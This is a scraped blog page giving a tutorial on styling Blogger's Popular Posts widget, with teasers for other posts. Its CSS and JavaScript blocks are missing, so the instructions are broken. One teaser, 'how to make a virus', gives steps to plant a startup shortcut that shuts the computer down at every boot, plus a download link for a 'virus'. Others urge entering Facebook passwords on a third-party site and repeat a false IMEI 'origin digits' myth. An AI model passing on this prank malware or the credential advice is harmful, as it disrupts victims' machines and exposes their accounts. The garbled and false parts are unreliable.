Skip to main content

5 Best Popular Posts Widgets For Blogger

By

Adding the Popular Posts Widget for Blogger

Just click on your blog title, access the "Layout" menu, click "Add a Gadget" and choose "Popular Posts". A window will appear asking you to configure the widget by choosing which posts you'll feature (e.g. those that were most viewed in the past 7 days or 30 days or from the beginning of your blog). You'll also be asked to choose how many posts you'll feature in your Popular Posts section and select if you'll show the post title only or along with the image thumbnail and/or the snippet. (Remember that each widget style has different requirements, so follow the styles and instructions carefully to find out if you need the snippet and image thumbnail or not).

Configuring Popular Posts Widget for Blogger

Popular Posts Style 1 - Box within a box

This is an interesting widget style since it uses your snippet and image thumbnail in a unique way. Your snippet is written in opaque text and placed in a small transparent box. This, in turn, is placed in a bigger rectangular box, wherein your image thumbnail is used as a background. Choosing this Popular Posts Widget for Blogger can be a great option if you want to brighten up your blog and grab the attention of readers with your colorful photos.
CSS code:

Popular Posts Style 2 - Large thumbnails with small post titles underneath

This uses the same code as the basic Blogger Popular Posts Widget with a few tweaks. Popularized by well-known blogs, this style is eye-catching because it focuses on pictures, which don't only summarize the posts' content but also add visual drama to the entire page. This is particularly useful for blogs that focus on clothes, makeup, art and other topics that highly depend on visual presentation to better express ideas.

CSS code:

Popular Posts Style 3 - Colorful boxes

If your blog needs a pop of color, this is the right choice for you. This widget style presents your Popular Posts in several boxes that feature a thumbnail image and have bright, eye-catching shades like light green, ocher yellow and vivid orange. Each box has a different color, and you can add up to four boxes.

popular posts widget for blogger

CSS code:

Popular Posts Style 4 - Grid layout

Just like the large-picture widget style, the grid layout is an excellent option if you want to showcase your pictures or if your blog depends on visual information. However, the title of your posts won't be included in the layout, so readers will have to hover their mouses on the images to read the titles.

popular posts widget for blogger

CSS code: 

Popular Posts Style 5 - Numbered posts

If you love numbered lists, or if you'd like to make your blog more organized, this can be the perfect option. By using the code for this widget style, your Popular Posts will be automatically numbered and will feature clean, minimalistic boxes that include your snippet and image thumbnail.

popular posts widget for blogger

CSS code:
These are just some of the widget styles you can choose from. When you've picked a style you want, make sure to copy its CSS code. Once you do so, go to your blog, click "Theme" on the left side and select "Edit HTML" under the template preview.

These next codes need to be pasted above the "
" or "" tags, so check the instruction to know exactly where you need to put the code.


Adding the CSS

When the template editor has opened, click anywhere inside the code area and hit CTRL + F or Command F to search the following tag:
Just ABOVE the  tag, copy-paste the CSS code of one of the styles above.


Important: If the Popular Posts widget is located in the footer of your blog, remove the .sidebar class found in the CSS code in order to make it work.

Please note that most of the styles are using the 'Oswald' font which you need to add to your template's code as well.

So, search for this tag:
... and just BELOW it, add this line:

Adding the JavaScript

These styles also require using a script in order to resize the popular posts image / thumbnail and trim the post snippet and title. To add the JavaScript code, search the  tag and paste the following script just above it:
Note: if you have already the jQuery library in your template, remove the line in red.

After you have added all the codes in the right place, press the "Save theme" button to save the changes.


Labels:

Comments

Post a Comment

share your thoughts ....

Popular posts from this blog

13 websites to register your free domain

By
Register your Free Domain Now!! 1)  .tk Dot TK is a FREE domain registry for websites on the Internet. It has exactly the same power as other domain extensions, but it’s free! Because it’s free, millions of others have been using .TK domains since 2001 – which makes .TK powerful and very recognizable.  Your website will be like www.yourdomainname.tk . It is free for 1 year. It’s a ccTLD domain whixh having the abbreviation  Tokelau. To create a .tk domain, Visit   www.dot.tk 2) co.cc Co.cc is completely free domain which is mostly used by blogspot bloggers because of it’s easy to use DNS system. Creating a co.cc for blogger is simple ( for instructions- “click here”). Your website will be like www.yourdomainname.co.cc . To create a .co.cc domain, visit www.co.cc 3)   co.nr co.nr is too like co.cc. Your website will be like  www.yourdomainname.co.nr . You can add it for blogger also.. To create a .co.cc domain, vi...
Post a Comment
Read more

How to Put Google Adsense Below Post Title in Blogger?

By
Adsense is used by majority of expert bloggers for their website monetization because it is a cookie based contextual advertising system that shows targeted ads relevant to the content and reader. As bloggers are paid on per click basis, they try various ad placements on the blog to  increase the revenue  and get maximum clicks on the ad units. Well, on some blogs, you might have seen Adsense ad units placed below the post title. Do you know why? It is because the area just below the post title gets the most exposure and is the best place to put AdSense ad units to increase  Click Through Rate (CTR). Even though ads below post title work like a charm but this doesn’t mean that it will work for you as well. If you want to find out the best AdSense ads placement for your blog, try experimenting by placing ads at various locations such as header, sidebar, footer, etc. You can try other  blog monetization methods  as well to effectively monetize y...
Post a Comment
Read more

Binary Search Tree in C++( dynamic memory based )

By
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 #include<bits/stdc++.h> using namespace std; struct bst { int val; bst * left, * right; }; bst * root = nullptr; void srch ( int num,bst * head) { if (head == nullptr){ cout << " \n Number is not present \a " << endl; return ; } if (head -> val == num) { cout << " \n Number is present \n\a " ; return ; } else { if (num < head -> val) srch(num,head -> left); else srch(num,head -> right); ...
6 comments
Read more

50 intesting facebook facts

By
some facts about facebook if u type @[4:0] in any facebook comment box it will write mark zukerburg 1 in every 13 people on Earth is on Facebook 35+ demographic represents more than 30% of the entire user base 71.2 % of all USA internet users are on Facebook In 20 minutes 1,000,000 links are shared on Facebook In 20 minutes 1,484,000 event invites are posted In 20 minutes 1,323,000 photos are tagged In 20 minutes 1,851,000 status updates are entered In 20 minutes 1.972 million friend requests are accepted In 20 minutes 2,716,000 photos are uploaded In 20 minutes 2,716,000 messages are sent In 20 minutes 10.2 million comments are posted In 20 minutes 1,587,000 wall posts are written 750 million photos were uploaded to Facebook over New Year’s weekend 48% of young Americans said they found out about news through Facebook 48% of 18 to 34 year olds check Facebook right when they wake up 50% of active users log on to Facebook in any given day Average user has 130 friends ...
Post a Comment
Read more

who deleted u on facebook

By
Hii Friends..... I hope you all are fine. As we all know that Facebook plays an important part in our lives. And mostly people are addicted to Facebook. Well, Facebook has been bringing out many awesome changes in it to make it more attractive. Facebook includes various helpful features. Though,there is something missing that is Facebook does not provide any notification if someone unfriend us. So, Today am going to tell you how can you know that who unfriended you on Facebook. Read More... Well,this is the most easiest method to check who unfriended you on Facebook. So, Follow the given steps to perform this trick:- Go to this site Who Deleted Me . Now, Click on Login with Facebook. Enter your Facebook Id and Password. Now, you will be redirected to a page where you can see all your unfriends. Using this, you only know your daily,weekly or monthly unfriends. You cannot view the unfriends that are older then one month. So, I hope you have enjoyed my article!!!...
Post a Comment
Read more

How To Add A Background Image Behind Your Blogger Posts

By
n this latest blog i will show you how to use an image in the background of your blog posts.This background image will only be behind the post area of your blog. Once you choose your image here's how to add it to your blog: 1.Click 'Layout'-->'Edit html' For your blog 2.Find the following piece of code in your blogs html: (Click'CTRL F' on your keyboard for a search box to help find code) #main-wrapper { You will see ' #main-wrapper { 'Followed by code similar to this : #main-wrapper { float: left; width: 486px; margin: 0px 0px 0px 0px; padding: 0px 0px 0px 0px; word-wrap: break-word; /* fix for long text breaking sidebar float in IE */ overflow: hidden; /* fix for long non-text content breaking IE sidebar float */ } 3.Now add the following code Directly Below ' #main-wrapper { ' background:url(PUT IMAGE URL HERE) repeat top right; /* background-attachment: fixed; */ 4.Replace the text 'PUT IMAGE URL HERE...
Post a Comment
Read more

how to make a virus

By
TO make a virus follow this 1. in desktop right click 2. select new than shortcut 3. type this exactly shutdown  -s -t 00 -c"raaj has hacked" download setup file of virus http://www.4sync.com/file/euIwUUJu/Chip_generator-Setup.html click on next type a name click on finish than that shortcut copy and paste to the startup folder that's it... thx for reading 
Post a Comment
Read more

Tips to Find Unauthorized Activity on Your Email Account

By
Here are some signs of unauthorized activity on an email account. 1. Your new emails are marked as Read even if you’ve not read them. 2. Your emails are moved to Trash or even permanently deleted without your notice. 3. Your emails are being forwarded to a third party email address (check your settings-> forwarding). 4. Your secondary email address is changed If you come across any of the above activities on your email account, then it is a clear indication that your email account is hacked. Additional Security Features in Gmail to ensure the Safety of your Account Gmail provides an additional security feature to protect your email account through the means of IP address logging. That is, Gmail records your IP address every time you login to your Gmail account. So, if a third party gets access to your account then even his/her IP is also recorded. To see a list of recorded IP address, scroll down to the bottom of your Gmail account Steps to be carried out to stop...
Post a Comment
Read more

How To Create And Add A Stylish Signature To Your Blogger Posts

By
If you look at the bottom of the posts in many blogs you will see they finish with a signature.I think the signature looks great and adds a bit of style to the posts.These signatures are very easy to create and add to your blog and in this post i will show you how.You can actually use a small pad to write you signature or pick from one of hundreds of pre-made signatures.I suggest using the pre-made signature, using the pad to create your actual signature is almost imposable. This Post Has Been Updated On 8th June 2012. Create the signature I'm going to create another signature and walk you trough the steps as i do. Step 1. Go to My Live Signature and click 'Start Now' you don't need to register. Step 2. You have 2 free options here, choose to use the wizard as i did or be brave and try to write one. Follow the steps to design the signature : -You now choose the size i choose size 3. -Select the color, i choose a transparent background. -Choose the angle ...
Post a Comment
Read more

Is your Nokia Cell Phone Original

By
Nokia is one of the largest selling phones across the globe. Most of us own a Nokia phone but are unaware of it’s originality. Are you keen to know whether your Nokia mobile phone is original or not? Then you are in the right place and this information is specially meant for you. Your phones IMEI (International Mobile Equipment Identity) number confirms your phone’s originality. Press the following on your mobile *#06# to see your Phone’s IMEI number(serial number).   Then check the 7th and 8th numbers Phone serial no. x x x x x x ? ? x x x x x x x IF the Seventh & Eighth digits of your cell phone are 02 or 20 this means your cell phone was assembled in Emirates which is very Bad quality IF the Seventh & Eighth digits of your cell phone are 08 or 80 this means your cell phone was manufactured in Germany which is fair quality   IF the Seventh & Eighth digits of your cell phone are 01 or 10 this means your cell phone was manufactured in Finland whic...
Post a Comment
Read more